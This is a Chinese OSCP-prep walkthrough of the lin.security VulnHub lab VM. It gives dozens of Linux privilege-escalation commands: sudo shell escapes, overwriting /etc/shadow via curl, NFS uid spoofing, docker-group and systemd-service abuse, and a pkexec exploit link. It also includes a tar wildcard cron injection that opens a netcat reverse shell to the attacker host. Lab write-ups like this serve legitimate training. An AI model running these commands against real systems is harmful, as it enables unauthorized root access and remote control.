前言
oscp备考,oscp系列——lin.security_v1.0靶场,32提权方法,nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权,/etc/passwd
哈希解码提权
难度简单偏下,不过提权方式有很多
-
对于低权限shell获取涉及:ssh连接,敏感隐藏文件 -
对于提权:nfs提权,sudo组合提权,docker组提权,systems 配置不当提权,suid:taskset提权、pkexec提权,计划任务+tar通配符提权, /etc/passwd
哈希解码提权
下载地址:
https://www.vulnhub.com/entry/linsecurity-1,244/
下载完成之后需要配置,ens33环境,可以参考这一篇文章lin.security_v1.0靶机_lin.security 搭建-CSDN博客
嫌麻烦的可以现在我已经配置好的靶机,后台发送:lin.security_v1.0 获取下载地址
靶机的作者对靶机有描述
在in.security,我们想开发一个Linux虚拟机,在撰写本文时,该虚拟机基于最新的Ubuntu发行版(18.04 LTS),但存在许多漏洞,允许用户升级到机箱上的root。这是为了帮助理解某些内置应用程序和服务如果配置错误,可能会被攻击者滥用。我们已将该框配置为模拟真实世界的漏洞(尽管在单个主机上),这将帮助您完善本地权限升级技能、技术和工具集。有许多挑战,从相当简单到中等水平,我们很高兴看到您用来解决这些问题的方法!该图像略低于1.7 GB,可以使用上面的链接下载。打开OVA文件时,将导入一个名为lin.security的VM,并使用NAT适配器进行配置,但可以通过首选虚拟化平台的首选项将其更改为桥接。要开始,您可以使用凭据登录主机:bob/secret
告诉我们这个靶机有很多漏洞,提示了一个账号密码,进行提权
nmap
主机发现
└─# nmap -sn 10.10.10.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:36 CSTNmap scan report for 10.10.10.1 (10.10.10.1)Host is up (0.00060s latency).MAC Address: 00:50:56:C0:00:08 (VMware)Nmap scan report for 10.10.10.2 (10.10.10.2)Host is up (0.00020s latency).MAC Address: 00:50:56:F2:C6:98 (VMware)Nmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.00026s latency).MAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap scan report for 10.10.10.254 (10.10.10.254)Host is up (0.00022s latency).MAC Address: 00:50:56:F7:20:A7 (VMware)Nmap scan report for 10.10.10.128 (10.10.10.128)Host is up.Nmap done: 256 IP addresses (5 hosts up) scanned in 1.91 seconds
端口扫描
└─# nmap --min-rate 10000 -p- 10.10.10.130 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:37 CSTNmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.00071s latency).Not shown: 65528 closed tcp ports (reset)PORT STATE SERVICE22/tcp open ssh111/tcp open rpcbind2049/tcp open nfs34283/tcp open unknown37763/tcp open unknown38521/tcp open unknown58085/tcp open unknownMAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap done: 1 IP address (1 host up) scanned in 44.00 seconds└─# nmap --min-rate 10000 -p- 10.10.10.130 -sUStarting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:38 CSTWarning: 10.10.10.130 giving up on port because retransmission cap hit (10).Nmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.0012s latency).Not shown: 65451 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)PORT STATE SERVICE111/udp open rpcbind2049/udp open nfs39992/udp open unknown47918/udp open unknown54762/udp open unknown57397/udp open unknownMAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap done: 1 IP address (1 host up) scanned in 72.99 seconds
详细端口扫描
└─# nmap -sV -sT -sC -O -p22,111,2049,34283,37763,38521,58085 10.10.10.130Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:42 CSTNmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.0012s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)| 256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)|_ 256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)111/tcp open rpcbind 2-4 (RPC #100000)| rpcinfo: | program version port/proto service| 100000 2,3,4 111/tcp rpcbind| 100000 2,3,4 111/udp rpcbind| 100000 3,4 111/tcp6 rpcbind| 100000 3,4 111/udp6 rpcbind| 100003 3 2049/udp nfs| 100003 3 2049/udp6 nfs| 100003 3,4 2049/tcp nfs| 100003 3,4 2049/tcp6 nfs| 100005 1,2,3 34283/tcp mountd| 100005 1,2,3 46589/udp6 mountd| 100005 1,2,3 53143/tcp6 mountd| 100005 1,2,3 57397/udp mountd| 100021 1,3,4 37763/tcp nlockmgr| 100021 1,3,4 41305/tcp6 nlockmgr| 100021 1,3,4 47918/udp nlockmgr| 100021 1,3,4 59835/udp6 nlockmgr| 100227 3 2049/tcp nfs_acl| 100227 3 2049/tcp6 nfs_acl| 100227 3 2049/udp nfs_acl|_ 100227 3 2049/udp6 nfs_acl2049/tcp open nfs 3-4 (RPC #100003)34283/tcp open mountd 1-3 (RPC #100005)37763/tcp open nlockmgr 1-4 (RPC #100021)38521/tcp open mountd 1-3 (RPC #100005)58085/tcp open mountd 1-3 (RPC #100005)MAC Address: 00:0C:29:97:4D:A5 (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 7.99 seconds
vuln扫描
└─# nmap --script=vuln -p22,111,2049,34283,37763,38521,58085 10.10.10.130Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-26 20:43 CSTNmap scan report for 10.10.10.130 (10.10.10.130)Host is up (0.00047s latency).PORT STATE SERVICE22/tcp open ssh111/tcp open rpcbind2049/tcp open nfs34283/tcp open unknown37763/tcp open unknown38521/tcp open unknown58085/tcp open unknownMAC Address: 00:0C:29:97:4D:A5 (VMware)Nmap done: 1 IP address (1 host up) scanned in 10.42 seconds
提权
使用账号密码进行ssh连接
bob/secret
sudo提权,25种
发现可以使用很多命令
/bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed, /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more, /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim, /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp
直接ash | dash | sh | bash | csh | zsh提权
这里以dash举例
sudo /bin/dash
awk提权
sudo awk 'BEGIN {system("/bin/sh")}'
curl提权
先在kali做一些准备,生成明文密码的hash -m指定加密方法,一般linux用户shadow文件中存储的是sha-512加密算法的hash 参照kali中shadow文件root用户的hash值替换保存起来备用
mkpasswd -m sha-512 123456cat /etc/shadow | grep rootvim shadow_rootroot:$6$UKOY2VpXTU3I9ylS$WxSICICPMBCkxCVZGq/uKCt7SYJUulcIriyKDhKzZgNCtSy9VXaEMKvcGK5A3hrHhTOfevNny1MUXRtTmgozK/:20103:0:99999:7:::
在kali上面制作一个简易的web服务器,使用curl命令下载并覆盖原有的shadow文件,直接使用su命令,输入123456切换成功
sudo curl http://10.10.10.128/shadow_root -o /etc/shadow
ed提权
sudo ed!/bin/sh
env提权
sudo env /bin/sh
expect提权
sudo expect -c 'spawn /bin/sh;interact'
find提权
sudo find . -exec /bin/sh ; -quit
ftp提权
sudo ftp!/bin/sh
less提权
sudo less /etc/profile!/bin/sh
man提权
sudo man man!/bin/sh
scp提权
TF=$(mktemp)echo'sh 0<&2 1>&2' > $TFchmod +x "$TF"sudo scp -S $TF x y:
socat提权
ssh提权
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
vi提权
sudo vi -c ':!/bin/sh' /dev/null
pico提权
sudo pico^R^X # ^R和^X表示需要选中的选项,其实是ctrl+R ctrl+Xreset; sh 1>&0 2>&0
rvim提权
sudo rvim -c ':py3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
perl提权
sudo perl -e 'exec "/bin/sh";'
tclsh提权
sudo tclshexec /bin/sh <@stdin >@stdout 2>@stderr
git提权
sudo git -p help config!/bin/sh
script提权
sudo script -q /dev/null
nfs提权
nmap扫描发现存在,nfs
2049/tcp open nfs
尝试挂载一下,发现没有权限
mkdir nfs mount -t nfs 10.10.10.130:/home/peter /tmp/nfs/
看来需要创建一个相同的用户才行 先给他取消挂载,发现取消不了,查看一下进程,给他取消掉
fuser -m -v /tmp/nfskill -9 进程号
查看一下peter用户信息
在kali上面创建一个用户
groupadd -g 1005 peteradduser peter -uid 1001 -gid 1005
用完之后可以删除用户
sudo userdel -r peter
拥有权限了
ssh公钥写入
进行公钥写入 在root用户下,执行ssh-keygen命令生成秘钥
ssh-keygen -t rsa
在nfs目录创建一个.ssh目录,将刚才生成的公钥id_rsa.pub复制到/tmp/nfs/.ssh目录下,并重命名为authorized_keys
cp id_rsa.pub /tmpmkdir .sshcd .sshcp /tmp/id_rsa.pub authorized_keys
连接成功,发现可以使用strace命令,查找一下,发现可以直接进行提权
sudo+strace提权
sudo strace -o /dev/null /bin/sh
利用 docker 组提权
发现peter在docker这个组里面可以根据https://fosterelli.co/privilege-escalation-via-docker.html
docker run -v /:/hostOS -i -t chrisfosterelli/rootpleasedocker run -v /:/mnt --rm -it alpine chroot /mnt bash
systems 配置不当提权
历史上,Linux 的启动一直采用 init 进程:
sudo /etc/init.d/sshd start# 或者service sshd start
这种方法有两个缺点:
一是启动时间长。init 进程是串行启动,只有前一个进程启动完,才会启动下一个进程。
二是启动脚本复杂。init 进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使得脚本变得很长。
Systemd 就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。 使用了 Systemd,就不需要再用 init 了。Systemd 取代了 initd,成为系统的第一个进程(PID 等于 1),其他进程都是它的子进程。 Systemd 并不是一个命令,而是一组命令,涉及到系统管理的方方面面。 systemctl 是 Systemd 的主命令,用于管理系统。
# 重启系统sudo systemctl reboot
查看 peter 用户的 systemd 配置,发现 peter 这个用户拥有 debug.service
文件,并且它对这个文件拥有读和写的权限。
whereis systemdls -al /lib/systemd/system/debug.service
如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的
.service
文件并更改 run()
命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。
查看 .service
文件,这里我们可以修改 ExecStart
文件,除此之外还可以修改 ExecStop
和 ExecReload
来在停止和重启服务时执行命令。 查看该 .service
文件:
cat /lib/systemd/system/debug.service
ExecStart
为 /root/debug
,这是一个二进制服务并且该服务以 root 身份运行。 接下来为了利用,使用一个类似 ssh 可以 sudo 执行的方法。 让 root 身份来创建一个 systemdexpl.sh
脚本,将 /bin/bash
文件复制到 systemdbash
并设置一个 SUID 位并且赋予执行权限。
echo -e '#!/bin/bash ncp /bin/bash /home/peter/systemdbash nchmod 6755 /home/peter/systemdbash' > /home/peter/systemdexpl.sh && chmod +x systemdexpl.sh
修改 debug.service 文件来调用我们的脚本(root 调用 debug.service,而 debug.service 又调用我们的 systemdexpl.sh 脚本)修改 ExecStart 为当前脚本。
vim /lib/systemd/system/debug.service
suid,pkexec提权
使用命令查找
find / -perm -u=s -type f 2>/dev/null
发现pkexec尝试提权,项目地址
https://github.com/arthepsy/CVE-2021-4034
suid,taskset提权
发现存在提权
taskset 1 /bin/sh
计划任务+tar通配符提权
发现一个定时任务发现是tar命令和通配符
*
,尝试通配符tar提权 进入bob用户目录,创建
echo"" > --checkpoint=1echo"mkfifo /tmp/vqfv; nc nc 10.10.10.128 9999 0</tmp/vqfv | /bin/sh >/tmp/vqfv 2>&1; rm /tmp/vqfv" > shell.sh && chmod +x shell.shecho"" > "--checkpoint-action=exec=sh shell.sh"
反弹成功,获取root权限
/etc/passwd
哈希解码提权
linux的用户密码哈希存储在/etc/shadow文件,普通用户能够查看到的则是/etc/passwd这个文件 在/etc/passwd中
比如:root:x:0:0:root:/root:/bin/bash。账户的第二列是密码哈希,如果该列为x则代表密码哈希存储在/etc/shadow文件上
/etc/passwd/
普通用户权限能够查看保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分1.用户名2.密码,x表示密码保存在/etc/shadow3.UID,0代表root4.GID,表示所在组5.描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other6.用户主目录7.默认shell类型
/etc/shadow/
只有root用户权限能够查看保存加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:分为九个部分1.用户名2.加密后的密码3.上次修改密码的时间(从1970.1.1开始的总天数)4.两次修改密码间隔的最少天数,如果为0,则没有限制5.两次修改密码间隔最多的天数,表示该用户的密码会在多少天后过期,如果为99999则没有限制6.提前多少天警告用户密码将过期7.在密码过期之后多少天禁用此用户8.用户过期日期(从1970.1.1开始的总天数),如果为0,则该用户永久可用9.保留#由示例可知,加密的密码具有固定格式:$id$salt$encryptedid表示加密算法,1代表MD5,5代表SHA-256,6代表SHA-512salt为盐值,系统随机生成encrypted表示密码的hash值
查看一下etc/passwd
发现存在明文密码,尝试解密
insecurity:AzER3pBZh6WZE:0:0::/:/bin/sh
得到
insecurity/P@ssw0rd!
切换一下用户,得到root权限
敏感隐藏文件
进行信息收集,发现susan用户目录,有一个不同的隐藏文件,打开发现一串字符也可以使用
find / -name ".*" -type f -path "/home/*" -exec ls -al {} ; 2>/dev/null
进行查找 尝试用户切换,切换成功,不过这个用户的权限更低
原文始发于微信公众号(泷羽Sec-尘宇安全):【oscp】lin.security_v1.0,32种提权,nfs,docker组,systems配置不当,pkexec等提权
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论